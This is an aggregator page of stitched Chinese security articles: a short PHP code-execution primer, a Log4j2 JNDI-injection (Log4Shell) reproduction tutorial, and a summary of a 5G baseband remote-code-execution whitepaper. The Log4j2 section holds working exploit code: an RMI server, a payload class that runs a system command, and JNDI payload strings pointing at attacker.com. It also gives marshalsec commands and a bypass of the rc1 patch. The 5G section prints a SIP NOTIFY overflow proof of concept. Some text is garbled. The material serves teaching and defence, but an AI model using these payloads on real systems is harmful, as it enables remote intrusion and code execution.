精华内容
下载资源
问答
  • 代码执行漏洞简介讲解
    千次阅读
    2019-10-16 20:31:12

    代码执行最早被称为命令注入攻击,是指由于web应用程序对用户提交的数据过滤不严格,导致黑客可以通过构造特殊命令字符串的方式,将数据提交至web应用程序,并利用该方式执行外部程序或系统命令实施攻击非法获取数据或网络资源等。

    PHP代码执行: 

    PHP代码执行是PHP应用程序中常见的脚本漏洞之一,国内著名的web应用程序Discuz、DedeCMS等都曾存在过该类型漏洞。

    命令执行漏洞是直接操作系统的命令,代码执行漏洞是通过代码执行来执行计算机语言代码,比如eval(system('set');)。

    代码执行概念:

    代码执行通常指将可执行代码注入到当前页面中,比如PHP的eval函数,可以将字符串代表的代码作为PHP代码执行,当前用户能够控制这段字符串时,将产生代码执行漏洞。广义上的代码注入,可以覆盖大半安全漏洞的分类。

    命令执行和代码执行:

    相同点:

    1. 都是用了相关函数、却存在可控制的变量;
    2. 都可以通过代码审计发现漏洞;
    3. 都可以拼接恶意命令对服务器造成攻击等。

    不同点:

    1. 命令执行漏洞是直接操作系统命令,如:PHP中的system(),exec(),shell_exec()等,当用户能够控制这些函数中的参数时,就可以将恶意系统命令拼接到正常的命令中,从而造成命令执行攻击,这就是命令执行漏洞;
    2. 代码执行漏洞是通过代码来执行计算机语言,比如:eval(system('set');).。

    代码执行原理:

    PHP中代码执行情况非常灵活,究其原因仍然离不开两个关键条件:

    1. 用户能够控制的函数输入;
    2. 存在可以执行代码的危险函数。

    所以,代码执行的原理其实就是当应用在调用一些能够将字符串转换成代码的函数时,没有考虑到用户是否能控制这个字符串,然后将字符串代表的代码作为PHP代码执行,造成代码执行漏洞。

    代码执行危害:

    1. 暴露服务器信息;
    2. 木马植入;
    3. 敏感文件暴露;
    4. 还可能升级为命令执行。

    PHP动态函数调用:

    在PHP中可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数;

    在PHP语言中,可以通过动态函数用来调用来对代码进行执行。

    PHP函数代码执行漏洞:

    PHP有不少可以直接执行代码的函数,比如:eval()、assert()、system()、exec()、shell_exec()、passthru()、esapeshellcmd()、pcntl_exec()等。

    一般最好在PHP中禁用这些函数。审计代码实则可以检查代码中是否存在这些函数,然后回溯危险函数的调用过程,看用户是否可以输入。

    更多相关内容
  • Log4j2远程执行代码漏洞如何攻击? 又如何修复

    Log4j2远程执行代码漏洞如何攻击? 又如何修复

    12月9日晚,Apache Log4j2反序列化远程代码执行漏洞细节已被公开,Apache Log4j-2中存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。

    Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。 因该组件使用极为广泛,利用门槛很低,危害极建议所有用户尽快升级到安全版本。

    漏洞描述

    高危,该漏洞影响范围极广,利用门槛很低,危害极大。

    CVSS评分:10(最高级)

    漏洞细节漏洞PoC漏洞EXP在野利用
    已公开已知已知已发现

    漏洞版本影响

    Apache log4j2 2.0 - 2.14.1 版本均受影响。

    安全版本

    Apache log4j-2.15.0-rc2 (2.15.0-rc1版)

    区分是Log4j还是Log4j2

    有些人分不清自己用的是Log4j还是Log4j2。这里给出几个辨别方法:

    1. Log4j2分为2个jar包,一个是接口log4j-api-${版本号}.jar,一个是具体实现log4j-core-${版本号}.jar。Log4j只有一个jar包log4j-${版本号}.jar
    2. Log4j2的版本号目前均为2.x。Log4j的版本号均为1.x。
    3. Log4j2的package名称前缀为org.apache.logging.log4j。Log4j的package名称前缀为org.apache.log4j

    漏洞复现

    漏洞攻击步骤

    • 攻击者执行恶意脚本。
    1. 用户发送数据到服务器,不管什么协议,http也好,别的也好
    2. 服务器记录用户请求中的数据,数据中包含恶意payload:${jndi:ldap://attacker.com/a},其中attacker.com是攻击者的服务器
    3. log4j向attacker.com发送请求(jndi)时触发漏洞,因为有个$符号
    4. log4j收到的jndi响应中包含一个java class文件路径,比如是 http://second-stage.attacker.com/Exploit.class,这个class文件会被log4j所运行在的服务器加载运行
    5. 第4步中注入的java class文件中的代码是攻击者的攻击代码

    img

    操作系统 windows10
    jdk: jdk1.8

    需要的依赖

     <!--log4j2核心包-->
                <dependency>
                    <groupId>org.apache.logging.log4j</groupId>
                    <artifactId>log4j-api</artifactId>
                    <version>2.14.0</version>
                </dependency>
                <dependency>
                    <groupId>org.apache.logging.log4j</groupId>
                    <artifactId>log4j-core</artifactId>
                    <version>2.14.0</version>
                </dependency>
                <!--使用yml配置log4j2-->
                <dependency>
                    <groupId>com.fasterxml.jackson.dataformat</groupId>
                    <artifactId>jackson-dataformat-yaml</artifactId>
                    <version>2.12.3</version>
                </dependency>
                <!-- slf4j核心包-->
                <dependency>
                    <groupId>org.slf4j</groupId>
                    <artifactId>slf4j-api</artifactId>
                    <version>1.7.32</version>
                </dependency>
                <!--用于与slf4j保持桥接-->
                <dependency>
                    <groupId>org.apache.logging.log4j</groupId>
                    <artifactId>log4j-slf4j-impl</artifactId>
                    <version>2.14.0</version>
                </dependency>
            <!--log4j2核心包-->
    

    项目目录结构

    在这里插入图片描述

    模拟运行存在漏洞log4j2的服务器

    import org.slf4j.Logger;
    import org.slf4j.LoggerFactory;
    
    /**
     * @Title: 模拟运行存在漏洞log4j2的服务器
     * @ClassName: geektime.log.ServerTest.java
     * @Description:
     *
     * @Copyright 2020-2021  - Powered By 研发中心
     * @author: 琦彦
     * @date:  2021/12/26 16:23
     * @version V1.0
     */
    public class ServerTest {
    
        private static final Logger logger = LoggerFactory.getLogger(ServerTest.class);
    
        public static void main(String[] args) {
    
            //有些高版本jdk需要打开此行代码
            //System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
    
            // 模拟填写数据,输入构造好的字符串,使受害服务器打印日志时执行远程的代码 同一台可以使用127.0.0.1
            // ${jndi:rmi//127.0.0.1:1099/evil},表示通过JNDI Lookup功能,获取rmi//127.0.0.1:1099/evil上的变量内容。
            String username = "${jndi:rmi://127.0.0.1:1099/evil}";
            //正常打印业务日志
            logger.error("username:{}",username);
        }
    }
    

    准备好RMI服务端,等待受害服务器访问

    package geektime.log;
    
    import com.sun.jndi.rmi.registry.ReferenceWrapper;
    
    import javax.naming.NamingException;
    import javax.naming.Reference;
    import java.rmi.AlreadyBoundException;
    import java.rmi.RemoteException;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;
    
    
    /**
     * @Title: 准备好RMI服务端,等待受害服务器访问
     * @ClassName: geektime.log.RMIServer.java
     * @Description:
     *
     * @Copyright 2020-2021  - Powered By 研发中心
     * @author: 琦彦
     * @date:  2021/12/26 16:23
     * @version V1.0
     */
    public class RMIServer {
        public static void main(String[] args) {
            try {
                // 本地主机上的远程对象注册表Registry的实例,默认端口1099
                LocateRegistry.createRegistry(1099);
                Registry registry = LocateRegistry.getRegistry();
                System.out.println("Create RMI registry on port 1099");
                //返回的Java对象 第一个参数为包路径
                Reference reference = new Reference("geektime.log.EvilCode","geektime.log.EvilCode",null);
                ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
                // 把远程对象注册到RMI注册服务器上,并命名为evil
                registry.bind("evil",referenceWrapper);
                // registry.bind("evil",new EvilCode());
            } catch (RemoteException | AlreadyBoundException | NamingException e) {
                e.printStackTrace();
            }
        }
    }
    

    恶意代码(打开计算器)

    package geektime.log;
    
    import java.io.*;
    import java.rmi.Remote;
    
    
    /**
     * @Title: 执行任意的脚本,目前的脚本会使windows打开计算器
     * @ClassName: geektime.log.EvilCode.java
     * @Description:
     *
     * @Copyright 2020-2021  - Powered By 研发中心
     * @author: 琦彦
     * @date:  2021/12/26 16:23
     * @version V1.0
     */
    public class EvilCode  {
        static {
            System.out.println("受害服务器将执行下面命令行");
            Process p;
    
            String[] cmd = {"calc"};
            try {
                p = Runtime.getRuntime().exec("calc");
                InputStream fis = p.getInputStream();
                InputStreamReader isr = new InputStreamReader(fis);
                BufferedReader br = new BufferedReader(isr);
                String line = null;
                while((line=br.readLine())!=null) {
                    System.out.println(line);
                }
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    
    
    }
    

    效果

    在这里插入图片描述

    问题记录

    类名打印出来了,但是没有启动计算器

    仅输出:username:Reference Class Name: EvilCode,未调用计算器

    Reference reference = new Reference("log.EvilCode","log.EvilCode",null);
    

    第一个和第二个参数为包路径, 需要更具自己的情况调整修改

    漏洞攻击原理

    JNDI

    JNDI(Java Naming and Directory Interface,Java命名和目录接口),是Java提供的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象

    NDI由三部分组成:JNDI API、Naming Manager、JNDI SPI。

    JNDI API是应用程序调用的接口,

    JNDI SPI是具体实现,

    应用程序需要指定具体实现的SPI。

    下图是官方对JNDI介绍的架构图:

    JNDI

    Log4j2 Lookup

    Log4j2的Lookup主要功能是通过引用一些变量,往日志中添加动态的值。这些变量可以是外部环境变量,也可以是MDC中的变量,还可以是日志上下文数据等。

    下面是一个简单的Java Lookup例子和输出:

    /**
     * @Title: Log4j2的Lookup功能
     * @ClassName: geektime.log.Log4j2Lookup.java
     * @Description:
     *
     * @Copyright 2020-2021 - Powered By 研发中心
     * @version V1.0
     */
    import org.apache.logging.log4j.LogManager;
    import org.apache.logging.log4j.Logger;
    import org.apache.logging.log4j.ThreadContext;
    
    public class Log4j2Lookup {
        public static final Logger LOGGER = LogManager.getLogger(Log4j2Lookup.class);
    
        public static void main(String[] args) {
            ThreadContext.put("userName", "琦彦同学,你好");
            LOGGER.error("userName: ${ctx:userName}");
        }
    }
    

    输出结果

    16:33:21.448 [main] ERROR geektime.log.Log4j2Lookup - userName: 琦彦同学,你好
    

    从上面的例子可以看到,通过在日志字符串中加入" c t x : u s e r N a m e " , L o g 4 j 2 在 输 出 日 志 时 , 会 自 动 在 L o g 4 j 2 的 ‘ T h r e a d C o n t e x t ‘ 中 查 找 并 引 用 ‘ u s e r N a m e ‘ 变 量 。 格 式 类 似 " {ctx:userName}",Log4j2在输出日志时,会自动在Log4j2的`ThreadContext`中查找并引用`userName`变量。格式类似" ctx:userName"Log4j2Log4j2ThreadContextuserName"{type:var}",即可以实现对变量var的引用。type可以是如下值:

    • ctx:允许程序将数据存储在 Log4j ThreadContextMap 中,然后在日志输出过程中,查找其中的值。
    • env:允许系统在全局文件(如 /etc/profile)或应用程序的启动脚本中配置环境变量,然后在日志输出过程中,查找这些变量。例如:${env:USER}
    • java:允许查找Java环境配置信息。例如:${java:version}
    • jndi:允许通过 JNDI 检索变量。

    其中和本次漏洞相关的便是jndi,例如上文漏洞浮现中模拟的:${jndi:rmi://127.0.0.1:1099/evil},表示通过JNDI Lookup功能,获取rmi//127.0.0.1:1099/evil上的变量内容。

     import org.apache.log4j.Logger;
     
     import java.io.*;
     import java.sql.SQLException;
     import java.util.*;
     
     public class VulnerableLog4jExampleHandler implements HttpHandler {
     
       static Logger log = Logger.getLogger(log4jExample.class.getName());
     
       /**
        * A simple HTTP endpoint that reads the request's User Agent and logs it back.
        * This is basically pseudo-code to explain the vulnerability, and not a full example.
        * @param he HTTP Request Object
        */
       public void handle(HttpExchange he) throws IOException {
         string userAgent = he.getRequestHeader("user-agent");
         
         // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
         // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
         log.info("Request User Agent:" + userAgent);
     
         String response = "<h1>Hello There, " + userAgent + "!</h1>";
         he.sendResponseHeaders(200, response.length());
         OutputStream os = he.getResponseBody();
         os.write(response.getBytes());
         os.close();
       }
     }
    

    根据上面提供的攻击代码,攻击者可以通过JNDI来执行LDAP协议来注入一些非法的可执行代码。

    JNDI注入

    由前面的例子可以看到,JNDI服务管理着一堆的名称和这些名称上绑定着的对象。如果这些对象不是本地的对象,会如何处理?JNDI还支持从指定的远程服务器上下载class文件,加载到本地JVM中,并通过适当的方式创建对象。

    “class文件加载到本地JVM中,并通过适当的方式创建对象”,在这个过程中,static代码块以及创建对象过程中的某些特定回调方法即有机会被执行。JNDI注入正是基于这个思路实现的。

    JNDI注入原理

    由于是JNDI注入,因此可以通过在InitialContext.lookup(String name)方法上设置端点,观察整个漏洞触发的调用堆栈,来了解原理。调用堆栈如下:

    1639970856_61bff82870e443c2e18a9.png!small?1639970855838

    整个调用堆栈较深,这里把几个关键点提取整理如下:

    LOGGER.error
      ......
        MessagePatternConverter.format
          ....
            StrSubstitutor.resolveVariable
              Interpolator.lookup
                JndiLookup.lookup
                  JndiManager.lookup
                    InitialContext.lookup
    

    1. MessagePatternConverter.format()

    poc代码中的LOGGER.error()方法最终会调用到MessagePatternConverter.format()方法,该方法对日志内容进行解析和格式化,并返回最终格式化后的日志内容。当碰到日志内容中包含${子串时,调用StrSubstitutor进行进一步解析。

    1639970877_61bff83dadfc6bff8dc23.png!small?1639970877452

    2. StrSubstitutor.resolveVariable()

    StrSubstitutor将${}之间的内容提取出来,调用并传递给Interpolator.lookup()方法,实现Lookup功能。

    1639970895_61bff84f970370bf047c6.png!small?1639970895672

    3. Interpolator.lookup()

    Interpolator实际是一个实现Lookup功能的代理类,该类在成员变量strLookupMap中保存着各类Lookup功能的真正实现类。Interpolator对 上一步提取出的内容解析后,从strLookupMap获得Lookup功能实现类,并调用实现类的lookup()方法。

    例如对poc例子中的jndi:rmi://127.0.0.1:1099/exp解析后得到jndi的Lookup功能实现类为JndiLookup,并调用JndiLookup.lookup()方法。

    1639970919_61bff867ed2530d26afbf.png!small?1639970920595

    4. JndiLookup.lookup()

    JndiLookup.lookup()方法调用JndiManager.lookup()方法,获取JNDI对象后,调用该对象上的toString()方法,最终返回该字符串。

    1639970936_61bff878ef785d7ed051b.png!small?1639970936629

    5. JndiManager.lookup()

    JndiManager.lookup()较为简单,直接委托给InitialContext.lookup()方法。这里单独提到该方法,是因为后续几个补丁中较为重要的变更即为该方法。

    至此,后续即可以按照常规的JNDI注入路径进行分析。

    漏洞补丁分析

    2.15.0-rc1

    通过比较2.15.0-rc1和该版本之前最后一个版本2.14.1之间的差异,可以发现Log4j2团队在12月5日提交了一个名为Restrict LDAP access via JNDI (#608)的commit。该commit的详细内容如下链接:

    https://github.com/apache/logging-log4j2/commit/c77b3cb39312b83b053d23a2158b99ac7de44dd3

    除去一些测试代码和辅助代码,该commit最主要内容是在上文中提到的 JndiManager.lookup()方法增加了几种限制,分别是allowedHostsallowedClassesallowedProtocols

    1639970959_61bff88f9b631f3b23977.png!small?1639970959567

    各个限制的内容分别如下:

    1639970982_61bff8a6554b74c968197.png!small?1639970985266

    1639971001_61bff8b97170828d28da6.png!small?1639971001395

    1639971016_61bff8c885762c153229e.png!small?1639971016605

    可以看到,rc1补丁通过对JNDI Lookup增加白名单的方式,限制默认可以访问的主机为本地IP,限制默认支持的协议类型为javaldapldaps,限制LDAP协议默认可以使用的Java类型为少数基础类型,从而大大减少了默认的攻击面。

    4.2 2.15.0-rc2

    4.2.1 rc1中存在的问题

    在rc1还未正式成为release版本之前,Log4j团队又在两天不到的时间里发布了rc2版本,说明rc1依然存在着一些问题。我们来看下rc1里主要修复的JndiManager.lookup()方法的整体逻辑结构:

    public synchronized <T> T lookup(final String name) throws NamingException {
            try {
                URI uri = new URI(name);
                if (uri.getScheme() != null) {
                    if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
                        ......
                        return null;
                    }
                    if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {
                        if (!allowedHosts.contains(uri.getHost())) {
                            ......
                            return null;
                        }
                        ......
                        if (!allowedClasses.contains(className)) {
                            ......
                            return null;
                        }
                        ......
                    }
                }
            } catch (URISyntaxException ex) {
                // This is OK.
            }
            return (T) this.context.lookup(name);
        }
    

    从上面的代码结构中可以总结如下的逻辑:

    • 对传入的name参数进行4.1章节提到的各类检查。如果检查不通过,则直接返回null
    • 如果产生URISyntaxException,则对该异常忽略,继续执行this.context.lookup(name)
    • 如果未产生URISyntaxException,则执行this.context.lookup(name)

    我们重点关注catch代码块,rc1默认不对URISyntaxException异常做任何处理,继续执行后续逻辑,即this.context.lookup(name)

    再看下try代码块中可能产生URISyntaxException的地方。很不幸,try代码块的第一个语句即可能产生该异常:URI uri = new URI(name);

    试想一下,如果能够构造某个特殊的URI,导致URI uri = new URI(name);语句解析URI异常,抛出URISyntaxException,但又能被this.context.lookup(name)正确处理,不就可以绕过了吗?

    4.2.2 绕过rc1

    由于rc1未在maven中央仓库上,因此需要自行下载代码并构建:

    到Log4j2的GitHub官方仓库下载rc1:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1。分别进入log4j-api和log4j-core目录,执行mvn clean install -DskipTests。最终会在本地maven仓库上生成rc1的jar包,版本为2.15.0,后续测试使用该jar包。

    由于rc1默认未开启Lookup功能,需要先开启,可以通过在配置文件的%msg中添加{lookup}进行开启。在当前类路径下添加log4j2.xml,内容参考如下:

    <Configuration>
        <Appenders>
            <Console name="CONSOLE">
                <PatternLayout>
                    <pattern>%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg{lookups}%n</pattern>
                </PatternLayout>
            </Console>
        </Appenders>
        <Loggers>
            <Root level="DEBUG">
                <AppenderRef ref="CONSOLE"/>
            </Root>
        </Loggers>
    </Configuration>
    
    1. 漏洞利用代码和上文中一致,编译生成Exploit.class。

    2. 本地执行python3 -m http.server 8081,启动web服务器,监听在8081端口。将上一步编译生成的Exploit.class文件放到web服务的根目录(根目录即为执行python3 -m http.server 8081命令的工作目录)。

    3. 由于rc1中默认仅支持javaldapldaps这三种协议,就使用LDAP协议吧。自己搭建LDAP服务器比较麻烦,这里直接利用下marshalsec这个库。运行java -cp ./marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8081/#Exploit 8888,启动LDAP服务。

    4. 编写漏洞poc代码,并编译运行。代码和运行结果如下:

    import org.apache.logging.log4j.LogManager;
    import org.apache.logging.log4j.Logger;
    
    public class Log4j2RC1Bypass {
        public static final Logger LOGGER = LogManager.getLogger(Log4j2RC1Bypass.class);
    
        public static void main(String[] args) {
            LOGGER.error("${jndi:ldap://127.0.0.1:8888/exp}");
        }
    }
    

    1639971053_61bff8ed7d150d4a2f512.png!small?1639971052644

    可以看到,通过构建一个简单的带空格的异形URI地址(127.0.0.1:8888/exp之间),rc1被绕过了。

    4.2.3 rc2的修复方案

    通过比较2.15.0-rc1和2.15.0-rc2之间的差异,可以发现Log4j2团队在12月10日提交了一个名为Handle URI exception的commit。该commit的详细内容如下链接:

    https://github.com/apache/logging-log4j2/commit/bac0d8a35c7e354a0d3f706569116dff6c6bd658

    该commit主要内容是对rc1中JndiManager.lookup()方法里的catch代码块进行了修改:当URISyntaxException异常被捕获时,直接返回null。从而无法使用上一章节的异形URI地址绕过。

    1639971075_61bff9030dce220832070.png!small?1639971073531

    漏洞修复建议

    检测方案

    (1)建议企业可以通过流量监测设备监控是否有相关 DNSLog 域名的请求.

    (2)建议企业可以通过监测相关流量或者日志中是否存在jndi:ldap://jndi:rmi等字符来发现可能的攻击行为。

    修复方案

    检查所有使用了 Log4j 组件的系统,并尽快升级到最新的 log4j-2.15.0-rc2 版本

    参考连接:

    • Log4j2 Lookups: https://logging.apache.org/log4j/2.x/manual/lookups.html
    • Oracle JNDI官方文档: https://docs.oracle.com/javase/tutorial/jndi/overview/index.html
    • 一篇JNDI注入原理文章: http://blog.topsec.com.cn/java-jndi%E6%B3%A8%E5%85%A5%E7%9F%A5%E8%AF%86%E8%AF%A6%E8%A7%A3/
    • marshalsec: https://github.com/mbechler/marshalsec
    • Log4j2 2.14.1和2.15.0-rc1的区别比较: https://github.com/apache/logging-log4j2/compare/rel/2.14.1…log4j-2.15.0-rc1
    • Log4j2 2.15.0-rc1和rc2的区别比较: https://github.com/apache/logging-log4j2/compare/log4j-2.15.0-rc1…log4j-2.15.0-rc2
    • https://www.freebuf.com/vuls/316143.html
    • https://help.aliyun.com/product/29500.html
    展开全文
  • 通过无线基带-针对5G智能手机的RCE远程代码执行攻击白皮书 致谢:腾讯科恩安全实验室 Keen Security Lab of Tencent Marco Grassi (@marcograss), Xingyu Chen (@0xKira233) 研究5G网络安全的背景: 近年来,我们...

    Over The Air Baseband Exploit: Gaining Remote Code Execution on 5G Smartphones
    通过无线基带-针对5G智能手机的RCE远程代码执行攻击白皮书
    在这里插入图片描述
    致谢:腾讯科恩安全实验室
    在这里插入图片描述

    Keen Security Lab of Tencent
    Marco Grassi (@marcograss), Xingyu Chen (@0xKira233)

    研究5G网络安全的背景:

    近年来,我们看到5G网络被广泛采用,包括消费设备、物联网和关键基础设施。
    对连接到5G网络的设备数量的估计各不相同,但统计数据显示,这些设备在市场上占有很大的份额。

    为了加入5G网络,每一个设备都必须配备5G调制解调器(5G modem),负责调制信号和实施无线电协议。该组件通常也称为基带。

    保护这些组件的安全非常重要,因为它们处理来自无线网络的不可信数据,这使得它们对远程攻击者特别有吸引力。

    在我们之前的工作中,我们检查了上一代网络(如2G、3G或4G)的安全调制解调器,并实现了RCE攻击·。

    本文将探讨5G网络发生了哪些变化,在安全方面有哪些改进,哪些没有。此次将演示在新一代5G智能手机上完成RCE是有可能的。

    近些年来5G网络安全是完全没有被设计到的领域,白皮书提供了两篇文章供作为背景知识参考:
    1.Huawei modem remote code execution
    2.pwn2own Amat Cama work on Samsung Shannon

    研究准备方法:

    寻找目标:
    购买了市面上的不同5G智能手机
    攻击范围:
    完成一次RCE攻击
    漏洞挖掘范围:
    不访问任何商业5G基站的情况下触发漏洞
    5G设备的区别:
    非独立模式(NSA):该模式结合了新的5G信号,并利用了4G网络的其他组件。
    独立模式(SA):该模式完全实现并使用5G新无线信号与5G网络协议。

    测试手机型号:

    Vivo S6 5G手机 SA模板 骁龙980 三星Shannon基带
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    审计范围与漏洞挖掘

    在审计过程中发现了stack cookie缓解保护又称为Stack Canary,这是一种经典的缓冲区溢出的保护机制.
    Stack Cannary通过在栈中设置标识检查输入的数据是否破坏栈,只要绕过Stack Cannary保护就能完成攻击。
    Stack Cannary简介:
    (以下参考CTF-wiki-PWN)
    Canary 的意思是金丝雀,来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警。

    我们知道,通常栈溢出的利用方式是通过溢出存在于栈上的局部变量,从而让多出来的数据覆盖 ebp、eip 等,从而达到劫持控制流的目的。栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让 shellcode 能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈底插入 cookie 信息,当函数真正返回的时候会验证 cookie 信息是否合法 (栈帧销毁前测试该值是否被改变),如果不合法就停止程序运行 (栈溢出发生)。攻击者在覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉,导致栈保护检查失败而阻止 shellcode 的执行,避免漏洞利用成功。在 Linux 中我们将 cookie 信息称为 Canary。

    由于 stack overflow 而引发的攻击非常普遍也非常古老,相应地一种叫做 Canary 的 mitigation 技术很早就出现在 glibc 里,直到现在也作为系统安全的第一道防线存在。

    Canary 不管是实现还是设计思想都比较简单高效,就是插入一个值在 stack overflow 发生的高危区域的尾部。当函数返回之时检测 Canary 的值是否经过了改变,以此来判断 stack/buffer overflow 是否发生。
    在5G设备中仍然会出现“栈溢出”这种低级毛病,最有趣的不是栈溢出环节,而是分析基带中的XML程序,XML解析器负责解析从网络到设备调制解调器的IMS消息。
    其中,在5G与4G通信中会通过IMS建立联系,基带就是IMS的客户端,它会处理VoLTE与VoNR信息,所以一定会传输有关SIP的信息,IMS服务端通过SIP信息与modem进行数据传输。
    IMS是4G和5G网络的首选架构,在其上构建交互式呼叫,我们稍后将了解这对本研究的重要性。

    基带它是一个IMS客户端,负责处理VOLT、VoNR消息,因此它必须能够处理SIP消息,IMS服务器使用SIP消息与调制解调器通信。
    下面是message示例:
    在这里插入图片描述
    SIP是一种基于文本、类似HTTP的协议,包括头和内容。接收器(在本例中为基带)需要解析来自服务器的消息。

    漏洞

    我们的OTA远程代码执行错误位于基带的IMS部分。解析SIP协议消息的XML内容时,它将调用函数IMSPL_XmlGetNextTagName
    这个调制解调器没有调试符号或信息,因此所有函数名、类型和函数签名都可以从日志字符串手动恢复,也可以通过反向工程恢复。这个函数将解析src中的XML标记,并将其名称复制到dst,例如,把“meta”复制到缓冲区中。

    <meta name=“viewport”content=“width=device width,initial scale=1”>
    

    在这里插入图片描述
    下面这个函数在寻找结束标志跳过一些特殊字符如:’/’’>’?’
    在这里插入图片描述
    函数没有做任何安全检测,可以完成任意call与缓冲区溢出。
    通过IMSPL_XmlGetNextTagName我们寻找到有许多可以进行call的地方,由于缓冲区是从OTA消息中提取的,因此它们中的大多数都易受攻击。
    我们选择栈溢出是可靠的,没有stack canary 保护,因此我们可以简单地完成缓冲区溢出,控制存储在栈上的返回地址,并执行我们的shellcode。
    这是溢出的函数IMSPL_XmlParser_ContactLstDecode

    int	IMSPL_XmlParser_ContactLstDecode(int  *a1,  int  *a2)  {
    	unsigned int8 *v4; // r0
    	int v5;	// r1
    	log_info_s *v7;	// [sp+0h] [bp-98h] BYREF
    	int v8;	// [sp+4h] [bp-94h]
    	unsigned int8 *v9; // [sp+8h] [bp-90h] BYREF
    	int  v10;	//  [sp+Ch]  [bp-8Ch]  BYREF
    	char v11[136];	// [sp+10h] [bp-88h] BYREF
    	
    	bzero(v11, 100);
    	v10 = 0;
    	v4 = (unsigned int8 *)*a1;
    	v8 = 10597;
    	v9 = v4;
    	//  ——————%s———————-
    	v7  =  &log_struct_4380937c;
    	log_0x418ffa6c(&v7,  ”IMSPL_XmlParser_ContactLstDecode”,  -20071784);
    if  (IMSPL_XmlGetNextTagName((char  *)&v9,  v11)  !=  1)  {
    	LABEL_8:
    	*a1 = (int)v9;
    	v8 = 10597;
    	//  Function  END
    	v7  =  &log_struct_43809448;
    	log_0x418ffa6c(&v7,  -20071784);
    	return 1;
    		}
    //  omitted  code	}
    

    当我们观察到char v11[136]; v11变量在栈上有100byte大小的缓冲区可以溢出
    我们同样找到了相似的函数IMSPL_XmlParser_RegLstDecode
    IMSPL_XmlParser_ContElemChildNodeDecode 等。
    根据以上函数的名字我们可以推测,我们可以完成一次ROP链攻击
    MSPL_XmlParser_RegInfoDecode -> IMSPL_XmlParser_RegInfoElemDecode ->
    IMSPL_XmlParser_RegLstDecode->
    IMSPL_XmlParser_RegistratonElemDecode->
    IMSPL_XmlParser_ContactLstDecode
    如果payload通过SIP协议中的NOTIFY信息发送,可以造成基带崩溃。由于函数find_tag_end里面对一些字符的黑名单,
    “\x00\x09\x0a\x0d\x20\x2f\x3e\x3f”,所以我们在构建ROP链
    不能利用有用的gadgets
    下面是使基带崩溃的POC不能完成攻击

    NOTIFY  sip:404456666666666@192.168.101.2:5060  SIP/2.0
    	Via:  SIP/2.0/TCP  172.18.0.12;branch=z9hG4bK5829.b8e4601b3f6e281818a8a878daee5112.0
    	Via:  SIP/2.0/UDP
    172.18.0.14:6060;branch=z9hG4bK5829.c1534326000000000000000000000000.0
    	To:  <sip:666666>;tag=31f5ed9f
    	From:  <sip:@666666>;tag=facfaba04ffdc638bb119e5faba08da6-3a20000
    	CSeq:  4  NOTIFY
    	Call-ID:  85bcaa29686a87fe@192.168.101.2
    	Content-Length:  1719
    	User-Agent:  Kamailio  S-CSCF
    	Contact:  <sip:scscf.ims.mnc045.mcc404.3gppnetwork.org:6060>
    	Event:  reg
    	Max-Forwards:  69
    	Subscription-State:  active;expires=600000
    	Content-Type:  application/reginfo+xml
    	<?xml  version=”1.0”?>
    	<reginfo  xmlns=”urn:ietf:params:xml:ns:reginfo”  version=”2”  state=”full”>
    	<registration  aor=”tel:666666”  id=”0x7f970dea8570”  state=”active”>
    	<contact  id=”0x7f970dea7710”  state=”active”  event=”registered”  expires=”599996” q=”0.000”>	<uri>sip:404456666666666@192.168.101.2:5060;alias=192.168.101.2~49214~2</uri>
    	<unknown-param
    name=”+sip.instance”>&lt;urn:gsma:imei:86044804-970539-0&gt;</unknown-param>
    	<unknown-param  name=”+g.3gpp.smsip”></unknown-param>
    	<unknown-param  name=”video”></unknown-param>	<unknown-param  name=”+g.3gpp.icsi-ref”>”urn%3Aurn-7%3A3gpp-service.ims.icsi.mmtel ”</unknown-param>
    	</contact>
    	</registration>
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  ⌋   AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA         AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ⌋  payload</AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ⌋       AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ⌋          AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ⌋
    </reginfo>
    

